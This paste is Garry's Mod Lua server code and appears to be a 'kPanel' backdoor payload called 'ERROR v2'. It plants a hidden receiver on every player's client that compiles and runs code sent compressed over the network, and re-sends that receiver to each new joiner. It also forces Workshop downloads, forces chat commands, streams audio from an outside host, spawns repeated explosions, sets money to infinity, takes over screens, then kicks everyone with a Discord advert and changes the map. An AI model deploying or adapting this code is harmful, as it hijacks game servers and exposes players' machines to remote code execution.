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Feb 23rd, 2020
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  1. for k, v in pairs(player.GetAll()) do
  2. v:SendLua("steamworks.FileInfo(1916383732,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
  3. v:SendLua("steamworks.FileInfo(1911711876,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
  4. v:SendLua("steamworks.FileInfo(1830594533,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
  5. v:ConCommand("say /job We Love Navy")
  6.  
  7. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  8. end
  9. timer.Simple( 25, function()
  10. util.AddNetworkString("faitleserv")
  11. local props2 = ents.GetAll()
  12. for _, prop in ipairs( props2 ) do
  13. if(prop:GetPhysicsObject():IsValid()) then
  14. prop:SetModel("models/wadixix/kcommekvacmdr.mdl")
  15. prop:SetMaterial("phoenix_storms/Fender_white.vtf")
  16. prop:SetColor(0,0,185)
  17. end
  18. end
  19. timer.Create("efdfeger"..math.random(500,50000), 1.5, 0, function()
  20. local props2 = ents.GetAll()
  21. for _, prop in ipairs( props2 ) do
  22. if(prop:GetPhysicsObject():IsValid()) then
  23. if(prop:GetModel() == "models/wadixix/kcommekvacmdr.mdl") then else
  24. prop:SetModel("models/wadixix/kcommekvacmdr.mdl")
  25. prop:SetMaterial("phoenix_storms/Fender_white.vtf")
  26. prop:SetColor(0,0,185)
  27. end
  28. end
  29. end
  30. end)
  31. timer.Simple( 1, function()
  32. for k,v in pairs(player.GetAll()) do
  33. v:SetRunSpeed(400* 4);
  34. v:SetWalkSpeed(400 * 4);
  35. end
  36. end)
  37. for k, v in pairs( player.GetAll() ) do
  38. if ( v:Alive() ) then
  39. v:GodEnable()
  40. v:SetModel("models/wadixix/kcommekvacmdr.mdl")
  41. v:SetMaterial("phoenix_storms/Fender_white.vtf")
  42. v:SetColor(0,0,185) else
  43. v:Spawn()
  44. timer.Simple( 5, function()
  45. v:GodEnable()
  46. v:SetModel("models/wadixix/kcommekvacmdr.mdl")
  47. v:SetMaterial("phoenix_storms/Fender_white.vtf")
  48. v:SetColor(0,0,185)
  49. end)
  50. end
  51. end
  52.  
  53. game.AddParticles( "particles/kpanel.pcf" )
  54.  
  55. PrecacheParticleSystem("kpanel")
  56.  
  57. local function rdm_str(len)
  58. if not len or len <= 0 then
  59. return ''
  60. end
  61. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  62. end
  63. local net_string = rdm_str(25)
  64. util.AddNetworkString(net_string)
  65. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  66. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  67. if not ply:IsBot() then
  68. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  69. end
  70. end)
  71. local function SendToClient(code)
  72. local data = util.Compress(code)
  73. local len = #data net.Start(net_string)
  74. net.WriteUInt(len, 16)
  75. net.WriteData(data, len)
  76. net.Broadcast()
  77. end
  78. timer.Simple( 1, function()
  79. SendToClient([[
  80. game.AddParticles( "particles/kpanel.pcf" )
  81.  
  82. PrecacheParticleSystem("kpanel")
  83.  
  84. local defaultfov = LocalPlayer():GetFOV()
  85. local override = 70 hook.Add("CalcView", "EXROR_", function(ply, origin, angles, fov, znear, zfar) return { ["origin"] = origin, ["angles"] = angles, ["fov"] = override, ["znear"] = znear, ["zfar"] = zfar }
  86. end)
  87. local hide = { ["CHudHealth"] = true, ["CHudCrosshair"] = true }
  88. hook.Add( "HUDShouldDraw", "HideHUD", function( name ) if ( hide[ name ] ) then return false end
  89. end )
  90. local prevFrame = {}
  91. local prevValue = 2
  92. local aveclazicmu = {}
  93. hook.Add("HUDPaint", "bahouiilfautquemusiquesoitbien",function()
  94. for k,v in pairs(aveclazicmu) do v() end
  95. end)
  96. SOUNDSTART_CTP = false
  97. OZJFOZJCEZIO = true
  98. sound.PlayURL("http://zekoryan.alwaysdata.net/loverdose.mp3","mono noblock noplay",function(s)
  99. if not s then return end
  100. if SOUNDSTART_CTP then s:Stop() return end
  101. SOUNDSTART_CTP = true
  102. s:SetVolume(6.5)
  103. s:Play()
  104. local ragtbl = {}
  105. aveclazicmu["CoolEffect"] = function()
  106. local tbl = {} s:FFT(tbl,FFT_4096) xpcall(function()
  107. local fal = 0 for i=1,40 do
  108. fal = fal + tbl[i] end
  109. prevValue = Lerp(30 * FrameTime(), prevValue, fal) if fal > 2 then
  110. override = Lerp(10 * FrameTime(), override, fal * .875)
  111. net.Start("faitleserv") net.SendToServer()
  112. else
  113. override = Lerp(5 * FrameTime(), override, defaultfov)
  114. sent = false
  115. end
  116. end,function()
  117. end)
  118. end
  119. end) ]])
  120. end)
  121. timer.Simple( 1, function()
  122. SendToClient([[
  123. -- timer.Simple(5, function()
  124. -- table.Empty(debug.getregistry())
  125. -- end)
  126. surface.CreateFont( "PixelCutsceneScaled",{ font = "Open Sans", size = 500, weight = 1000, antialias = true })
  127. surface.CreateFont( "PixelCutsceneScaledSmall",{ font = "Open Sans", size = 50, weight = 1000, antialias = true })
  128. surface.CreateFont( "PixelSmall",{ font = "Open Sans", size = 135, weight = 500, antialias = false })
  129. surface.CreateFont("lapolice", { font = "Open Sans", size = ScrW()*0.02, weight = 10, blursize = 0, scanlines = 2.5, antialias = false })
  130. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local w,h = ScrW(), ScrH() local W, H = ScrW(), ScrH()
  131. local MySelf = LocalPlayer()
  132. if ohno then ohno:Remove()
  133. ohno = nil end
  134. ohno = vgui.Create( "DFrame" )
  135. ohno:SetSize( w, h )
  136. ohno:SetPos(0,0)
  137. ohno:SetDraggable ( false )
  138. ohno:SetTitle("")
  139. ohno:ShowCloseButton(false)
  140. ohno.Paint = function( self )
  141. surface.SetDrawColor(30, 30, 30, 0)
  142. end
  143. glitchtext = { "ERROR_ win $inf", "ERXOX_ win $inf", "EXROR_ win $inf", "XRRXR_ win $inf", "6H4CK_ win $inf", "GH4CK_ win $inf", "6HACK_ win $inf", "GHXCK_ win $inf", "EXXOX_ win $inf", }
  144. local pw, ph = w, h*0.6 local px, py = w/2-pw/2, h/2-ph/2
  145. local Close = vgui.Create( "DButton", ohno )
  146. Close:SetPos(px, py)
  147. Close:SetText( "" )
  148. Close:SetSize( pw, ph )
  149. Close.Paint = function( self, tw, th )
  150. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  151. local shift = math.sin(RealTime()*3)*1.5 + 5
  152. local text2 = "ERROR"
  153. draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  154. draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  155. end
  156. timer.Simple( 6, function()
  157. Close.Paint = function( self, tw, th )
  158. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  159. local shift = math.sin(RealTime()*3)*1.5 + 5
  160. local text = "kPanel" local down = [=[(/.__.)/ K \(.__.\)]=]
  161. draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  162. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  163. end
  164. timer.Simple( 10, function()
  165. Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  166. local text = "kPanel"
  167. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  168. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  169. end
  170.  
  171. end)
  172. timer.Simple( 24, function()
  173. for i = 1, 10 do
  174. ParticleEffectAttach("kpanel",PATTACH_ABSORIGIN_FOLLOW,LocalPlayer(),0)
  175. end
  176.  
  177. Close.Paint = function( self, tw, th )
  178. local
  179. coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  180. local text = { "Navy", "NAvy", "n4avy", "Na4Vy", "NaVy", "Na‚Vy¬l", "NaVy4‚¬l", "NâV3y‚¬l", "navy", "NAVy", "ERROR", }
  181. hook.Add( "Think", "omgilawinlebogos", function() plyk,plyv = table.Random(player.GetAll()) end)
  182. draw.SimpleText( Entity(plyv):Nick().." win $inf", "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  183. draw.SimpleText( Entity(plyv):Nick().." win $inf", "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  184. draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  185. end
  186. timer.Create("fff", 0.1, 0, function()
  187. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  188. end)
  189. hook.Add( "HUDPaint", "truckde merde", function()
  190. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  191. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  192. draw.DrawText( "K", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  193. draw.DrawText( "┬─┬ ノ( ゜-゜ノ)", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  194. draw.DrawText( "Random Guy", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  195. draw.DrawText( "V", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  196. draw.DrawText( "RIP", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  197. draw.DrawText( "Navy", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  198. draw.DrawText( "Na3vY", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  199. draw.DrawText( "No Signal", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  200. draw.DrawText( "やや奇妙な", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  201. draw.DrawText( "Inplex", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  202. draw.DrawText( "Random Guy", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  203. draw.DrawText( "No Signal", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  204. draw.DrawText( "やや奇妙な", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  205. draw.DrawText( "Inplex", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  206. draw.DrawText( "Navy", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  207. draw.DrawText( "Navy", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  208. draw.DrawText( "Navy", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  209. end)
  210. end)
  211. timer.Simple( 208, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  212. glitchtextend = { "ERROR_", "ERXOX_", "EXROR_", "XRRXR_", "6H4cK_", "EXXOX_", } draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  213. draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  214. end
  215. end)
  216. timer.Simple( 231, function()
  217. Close.Paint = function( self, tw, th )
  218. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  219. draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  220. draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  221. end
  222. end)
  223. timer.Simple( 232, function() Close.Paint = function( self, tw, th )
  224. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  225. draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  226. draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  227. end
  228. end)
  229. timer.Simple( 233, function()
  230. Close.Paint = function( self, tw, th )
  231. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  232. draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  233. draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  234. end
  235. end)
  236. timer.Simple( 234, function()
  237. Close.Paint = function( self, tw, th )
  238. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  239. local shift = math.sin(RealTime()*3)*1.5 + 5
  240. local titeltext = "ERROR v2"
  241. local titeltextdow = "BY kPanel (untilted Remake by Douge <3)"
  242. draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  243. draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  244. draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  245. end
  246. end)
  247. local name = GetConVar("sv_skyname"):GetString()
  248. if name == "painted" then
  249. local sky for _, v in ipairs(ents.GetAll()) do
  250. if v:GetClass() == "env_skypaint" then
  251. sky = v break
  252. end
  253. end
  254. if not IsValid(sky) then return end
  255. hook.Add("PostRender","\xFFsky\xFF",function()
  256. local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local vsky = Vector(col.r / 255, col.g / 255, col.b / 255) sky:SetTopColor(vsky) sky:SetBottomColor(vsky)
  257. end)
  258. else
  259. local prefix = {"lf","ft","rt","bk","dn","up"}
  260. local mats = {} for i=1,6 do mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  261. end
  262. hook.Add("PostRender","\xFFsky\xFF",function() local r = 0.5*math.sin(RealTime()*0.5)*240 + 255 local g = -0.5*math.sin(RealTime()*0.5)*240 + 255 local b = 215 for i=1,6 do mats[i]:SetVector("$color",Vector(r/254,g/254,b/254))
  263. end
  264. end)
  265. end
  266. timer.Create("aaneyjvkybtk", 0.01, 0, function()
  267. local mat = Entity(0):GetMaterials() local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local ve = Vector(col.r / 255, col.g / 255, col.b / 255) LocalPlayer():SetWeaponColor( Vector(ve) )
  268. for k,v in pairs(mat) do
  269. local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local ve = Vector(col.r / 255, col.g / 255, col.b / 255) Material(v):SetVector("$color", ve)
  270. end
  271. end)
  272. hook.Add("Think","butifoule",function() local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local v = Vector(col.r / 255, col.g / 255, col.b / 255)
  273. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
  274. v:SetColor( col ) v:Activate()
  275. end
  276. for k,p in pairs(player.GetAll()) do
  277. p:SetColor( col )
  278. end
  279. end)
  280. end)
  281. timer.Create("mdr-ta-thune", 15, 0, function()
  282. local fdcal = math.random(1,2) if fdcal == 1 then notification.AddLegacy( "Console set your money to $inf.", 0 , 5 ) else notification.AddLegacy( "Console set your health to $inf.", 0 , 5 ) end end) ]])
  283. end)
  284. timer.Create("ok", 1, 0, function()
  285. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
  286. local phys = v:GetPhysicsObject() if (IsValid(phys)) then
  287. phys:EnableMotion(true) end end end)
  288. timer.Simple( 44, function()
  289. timer.Create("ok", 1, 60, function()
  290. local props = ents.GetAll() for _, prop in ipairs( props ) do
  291. if(prop:GetPhysicsObject():IsValid()) then
  292. prop:GetPhysicsObject():ApplyForceCenter( Vector( 100, 0, ((1500 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  293. end
  294. end
  295. for i = 1, 15 do
  296. local explode = ents.Create( "env_explosion" )
  297. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  298. explode:Spawn()
  299. explode:SetKeyValue( "iMagnitude", "500" )
  300. explode:Fire( "Explode", 0, 0 )
  301. end
  302. for k,v in pairs(player.GetAll()) do
  303. v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(500,600)))
  304. end
  305. end)
  306. end)
  307. timer.Simple( 166.5, function()
  308. timer.Create("ok2", 1, 48, function()
  309. local props = ents.GetAll()
  310. for _, prop in ipairs( props ) do
  311. if(prop:GetPhysicsObject():IsValid()) then
  312. prop:GetPhysicsObject():ApplyForceCenter( Vector( 100, 0, ((1500 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  313. end
  314. end
  315. for i = 1, 15 do
  316. local explode = ents.Create( "env_explosion" )
  317. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  318. explode:Spawn()
  319. explode:SetKeyValue( "iMagnitude", "500" )
  320. explode:Fire( "Explode", 0, 0 )
  321. end
  322. for k,v in pairs(player.GetAll()) do
  323. v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(500,600)))
  324. end
  325. end)
  326. end)
  327. timer.Simple( 240, function()
  328. local propsexplod = ents.GetAll()
  329. for _, prop in ipairs( propsexplod ) do
  330. if(prop:GetPhysicsObject():IsValid()) then
  331. local explosion = ents.Create("env_explosion")
  332. explosion:SetPos(vehicl:GetPos())
  333. explosion:Spawn()
  334. explosion:SetKeyValue("iMagnitude", "50")
  335. explosion:Fire("Explode", 0, 0)
  336. end
  337. end
  338. end)
  339. timer.Simple( 6, function()
  340. local sun = ents.FindByClass("env_sun")
  341. if #sun == 0 then return end
  342. sun = sun[1]
  343. hook.Add("Think","\xFFsun\xFF",function()
  344. sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
  345. sun:SetModelScale(120)
  346. end)
  347. end)
  348. timer.Simple( 207, function()
  349. timer.Create("explodend", 1, 0, function()
  350. for i = 1, 10 do
  351. local explode = ents.Create( "env_explosion" )
  352. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  353. explode:Spawn()
  354. explode:SetKeyValue( "iMagnitude", "500" )
  355. explode:Fire( "Explode", 0, 0 )
  356. end
  357. end)
  358. end)
  359. timer.Simple( 248, function()
  360. for i,v in ipairs(player.GetAll()) do
  361. if v == p then continue end
  362. v:Kick("\n[FR] Oh désolé, je ne me suis pas présenté ,je suis EXROR_ votre serveur a rencontré un problème que j'ai corrigé, vous pouvez maintenant retourner sur votre serveur !\n\n\nkPanel( https://discord.gg/2PP5z9n )\n\n------------------------------------------\n\n[EN] Oh sorry, I didn't introduce myself ,I'm EXROR_ your server has encountered a problem that I fixed, you can now go back to your server !\n\n\nCodially kPanel( https://discord.gg/2PP5z9n )")
  363. end
  364. end)
  365. timer.Simple( 249, function()
  366. RunConsoleCommand("changelevel", "gm_construct")
  367. end)
  368. net.Receive("faitleserv", function()
  369. for i = 1,2 do
  370. local explode = ents.Create( "env_explosion" )
  371. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  372. explode:Spawn() explode:SetKeyValue( "iMagnitude", "500" )
  373. explode:Fire( "Explode", 0, 0 )
  374. end
  375. local props = ents.GetAll()
  376. for _, prop in ipairs( props ) do
  377. if(prop:GetPhysicsObject():IsValid()) then
  378. prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((250 * 0.93) * prop:GetPhysicsObject():GetMass() ) ) )
  379. end
  380. end
  381. for k,v in pairs(player.GetAll()) do
  382. v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(50,100)))
  383. end
  384. end)
  385. local untitled_ = { "NAVY", "NAV4Y", "NâVY‚¬L","NavYY‚¬l" }
  386. for k, v in pairs(player.GetAll()) do
  387. timer.Create("charglogo", 0, 0, function()
  388. v:setDarkRPVar("job", "JOB_"..table.Random( untitled_ )) v:setDarkRPVar("money", "1e+999")
  389. end)
  390. end
  391. end)
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